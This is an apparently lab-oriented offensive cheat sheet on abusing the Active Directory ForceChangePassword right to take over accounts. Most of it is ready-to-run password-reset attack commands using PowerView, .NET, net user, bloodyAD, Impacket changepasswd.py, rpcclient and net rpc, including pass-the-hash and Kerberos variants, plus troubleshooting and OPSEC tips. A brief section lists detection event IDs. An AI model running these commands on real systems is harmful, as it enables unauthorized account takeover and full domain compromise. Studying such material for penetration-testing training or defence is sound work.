🟡 Attack #23 — ForceChangePassword Abuse
📖 How It Works
ForceChangePassword (also known as User-Force-Change-Password extended right) allows a principal to reset another user’s password without knowing their current password. Unlike GenericAll or GenericWrite, this is a single-purpose ACE — it can only reset the password, nothing else. However, if the target is a Domain Admin or service account, one password reset is all you need for full domain compromise.
This right is commonly granted to helpdesk groups, IT support teams, and password reset delegations — and is frequently over-scoped to include privileged accounts.
⚙️ Prerequisites
| Requirement | Detail |
|---|---|
| ForceChangePassword/User-Force-Change-Password on target | Extended right in the target user’s DACL |
| Domain user account | Any authenticated domain user with this right |
🛠️ Tools
| Tool | Platform | Notes |
|---|---|---|
| PowerView | Windows | Set-DomainUserPassword — most reliable on-box |
| Pure .NET | Windows | DirectoryEntry.Invoke("SetPassword", ...) — no uploads needed |
| net user | Windows | Native Windows command |
| bloodyAD | Linux | set password — LDAP/LDAPS, most reliable from Linux |
| changepasswd.py | Linux | Impacket — SAMR/RPC/KPASSWD/LDAP, -altuser = right-holder |
| rpcclient / net rpc | Linux | SAMR — often blocked on modern DCs |
| RSAT | Windows | Set-ADAccountPassword — only if AD module installed |
💻 Full Commands
🔴 Password Reset Exploitation
From Windows (on-box / evil-winrm session)
# ── PowerView (most reliable on-box) ─────────────────────────────────────────
Import-Module .\PowerView.ps1
# These are TWO separate commands — run them one at a time, not pasted together.
# Pasting both lines at once (or chaining with ';' in one paste) can make the
# reset run before $NewPassword exists in the session → "cannot bind argument" errors.
# Command 1: build the SecureString (no output — it just sets the variable)
$NewPassword = ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force
# Command 2: perform the reset using that variable
Set-DomainUserPassword -Identity ssmalls -AccountPassword $NewPassword -Verbose
# One-liner alternative if you must do it in a single line — no variable needed:
Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose
# ── Pure .NET — no PowerView, no RSAT needed ─────────────────────────────────
# Works anywhere .NET runs; talks LDAP directly to the DC as your session user
$entry = New-Object DirectoryServices.DirectoryEntry(
"LDAP://CN=ssmalls,CN=Users,DC=inlanefreight,DC=local")
$entry.Invoke("SetPassword", "Str0ngpass86!")
$entry.CommitChanges()
# ── net user (native, no uploads at all) ─────────────────────────────────────
net user ssmalls Str0ngpass86! /domain
# ── RSAT ActiveDirectory module (only if RSAT/AD module is installed) ────────
Set-ADAccountPassword -Identity ssmalls -NewPassword (
ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force
) -Reset
From Linux
# ── bloodyAD — LDAP(S), most reliable from Linux ─────────────────────────────
bloodyAD -d inlanefreight.local -u low_user -p 'Password1' \
--host DC01.inlanefreight.local set password ssmalls 'Str0ngpass86!'
# ── bloodyAD — DC by IP (--host accepts name OR IP) ──────────────────────────
bloodyAD -d inlanefreight.local -u low_user -p 'Password1' \
--host 10.129.229.147 set password ssmalls 'Str0ngpass86!'
# ── bloodyAD — add --dc-ip when --host name won't resolve ────────────────────
bloodyAD -d inlanefreight.local -u low_user -p 'Password1' \
--host DC01.inlanefreight.local --dc-ip 10.129.229.147 \
set password ssmalls 'Str0ngpass86!'
# ── bloodyAD — LDAPS if plain LDAP password set is refused ───────────────────
bloodyAD -s -d inlanefreight.local -u low_user -p 'Password1' \
--host 10.129.229.147 set password ssmalls 'Str0ngpass86!'
# ── Impacket changepasswd.py — SAMR/RPC/KPASSWD/LDAP in one tool ─────────────
# -altuser = YOU (the right-holder), target = the account being reset
changepasswd.py -altuser low_user -altpass 'Password1' \
-newpass 'Str0ngpass86!' -reset \
inlanefreight.local/ssmalls@dc01.inlanefreight.local
# ── changepasswd.py — pick a protocol explicitly ─────────────────────────────
changepasswd.py -protocol smb-samr -altuser low_user -altpass 'Password1' \
-newpass 'Str0ngpass86!' -reset inlanefreight.local/ssmalls@10.129.229.147
changepasswd.py -protocol ldap -altuser low_user -altpass 'Password1' \
-newpass 'Str0ngpass86!' -reset inlanefreight.local/ssmalls@10.129.229.147
# ── changepasswd.py — pass-the-hash as the right-holder ──────────────────────
changepasswd.py -altuser low_user -althash 31d6cfe0d16ae931b73c59d7e0c089c0 \
-newpass 'Str0ngpass86!' -reset inlanefreight.local/ssmalls@10.129.229.147
# ── rpcclient (SAMR) — often BLOCKED on modern DCs, kept for older targets ───
rpcclient -U 'inlanefreight.local/low_user%Password1' 10.129.229.147 \
-c "setuserinfo2 ssmalls 23 Str0ngpass86!"
# ── net rpc (SAMR) — same caveats as rpcclient ───────────────────────────────
net rpc password ssmalls 'Str0ngpass86!' \
-U 'inlanefreight.local/low_user%Password1' -S 10.129.229.147
🧭 Which Method When — Troubleshooting
| Symptom | Cause | Fix |
|---|---|---|
Access is denied from rpcclient / net rpc | SAMR remote calls hardened on Server 2016+ DCs | Use bloodyAD or changepasswd.py (LDAP) instead |
bloodyAD: unwillingToPerform / strongerAuthRequired | Plain LDAP (389) refuses password writes | Add -s (LDAPS) or use -ss |
Set-ADAccountPassword not recognized | RSAT AD module not installed | Use PowerView or the pure .NET method |
PowerView Set-DomainUserPassword fails on ldap:// bind | Wrong DN/domain or DC unreachable | Check -Domain / -DomainController flags; verify connectivity |
| Password “resets” but login fails | Domain password policy (complexity/history) | Pick a compliant password, e.g. Str0ngpass86! |
| Reset works but target can’t log in for minutes | minPwdAge / replication lag between DCs | Wait, or pin to the PDC emulator with --host |
| Right exists but every tool says denied | You’re querying/abusing the wrong DC | Force the DC holding your token: --dc-ip / -DomainController |
🩸 bloodyAD — Connection Flags Explained
Every bloodyAD command follows the same pattern: connection flags first, then the action (add, get, set, remove).
bloodyAD [connection flags] <action> <subcommand> [args]
| Flag | Long form | What it does |
|---|---|---|
-d | --domain | Domain for NTLM auth, e.g. -d inlanefreight.local |
-u | --username | Username, e.g. -u low_user |
-p | --password | Password or LMHASH:NTHASH for pass-the-hash |
-H | --host | (required) Hostname or IP of the DC, e.g. --host 10.129.229.147 |
-i | --dc-ip | IP of the DC — use when --host is a name that won’t resolve |
--dns | — | IP of a DNS server to resolve AD names (cross-domain work) |
-k | --kerberos | Use Kerberos; can take kdc=..., ccache=..., keytab=... |
-f | --format | Format of -p / keyfile: aes, rc4, hex, b64 |
-c | --certificate | Cert auth (Schannel or PKINIT): "key.pem:cert.pem" |
-s | --secure | LDAP over TLS (-ss simple bind, -sss no signing/CBT) |
--gc | — | Connect to the Global Catalog instead of LDAP |
-t | --timeout | Connection timeout in seconds |
# ── Basic: domain + user + password, DC by hostname ──────────────────────────
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
set password targetadmin 'P@ssword123!'
# ── DC by IP: --host accepts the IP directly, no DNS needed ──────────────────
bloodyAD -d corp.local -u low_user -p 'Password1' --host 10.129.229.147 \
set password targetadmin 'P@ssword123!'
# ── --host by name + --dc-ip: name used for LDAP/Kerberos, IP for connecting ─
# Use when the DC name is needed (Kerberos SPNs, certs) but doesn't resolve.
bloodyAD -d corp.local -u low_user -p 'Password1' \
--host DC01.corp.local --dc-ip 10.129.229.147 \
set password targetadmin 'P@ssword123!'
# ── Pass-the-hash: -p takes LMHASH:NTHASH ─────────────────────────────────────
bloodyAD -d corp.local -u low_user -p 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' \
--host 10.129.229.147 set password targetadmin 'P@ssword123!'
# ── Kerberos with a ccache ticket ─────────────────────────────────────────────
bloodyAD -k -d corp.local -u low_user --host DC01.corp.local --dc-ip 10.129.229.147 \
set password targetadmin 'P@ssword123!'
# or point at a specific KDC / ticket file:
bloodyAD -k kdc=10.129.229.147 ccache=/home/kali/low_user.ccache \
-d corp.local -u low_user --host DC01.corp.local \
set password targetadmin 'P@ssword123!'
# ── LDAPS (port 636) — needed when LDAP signing/TLS is enforced ───────────────
bloodyAD -s -d corp.local -u low_user -p 'Password1' --host 10.129.229.147 \
set password targetadmin 'P@ssword123!'
💡 Rule of thumb:
-d+-u+-psay who you are;--hostsays where the DC is (name or IP both work);--dc-ipis the fallback for when the name in--hostwon’t resolve.-k,-c,-schange how you authenticate/connect.
⚠️ Flag placement matters: all connection flags (
--host,--dc-ip,-d,-u,-p, …) must come before the action. Anything afterset password <user> <newpass>is parsed as an argument of that subcommand — putting--dc-ipat the end giveserror: unrecognized arguments.
🎯 OPSEC Tips
- Password resets are LOUD — the target user will notice immediately if they can’t log in
- Event 4724 is generated on every password reset — easy to detect and correlate
- Consider Shadow Credentials instead if you have GenericWrite — it doesn’t change the password
- Some accounts have “cannot change password” set — ForceChangePassword bypasses this, but the event is still logged
🛡️ Detection — Event IDs
| Event ID | Source | What to Look For |
|---|---|---|
| 4724 | Security Log (DC) | Password reset by a non-helpdesk account targeting a privileged user |
| 4723 | Security Log (DC) | User attempted to change their own password (not relevant here) |
🔗 Attack Chain Context
[ForceChangePassword] ──→ Account Takeover via Password Reset
│
├──→ 🔑 Reset DA password → instant domain compromise
├──→ ⚠️ Loudest ACL attack — user notices immediately
├──→ 🔗 Prefer: Shadow Credentials (#25) if GenericWrite available
└──→ 💀 Defeated by: monitor 4724, restrict password reset delegation
✅ Attack #23 — ForceChangePassword Abuse complete.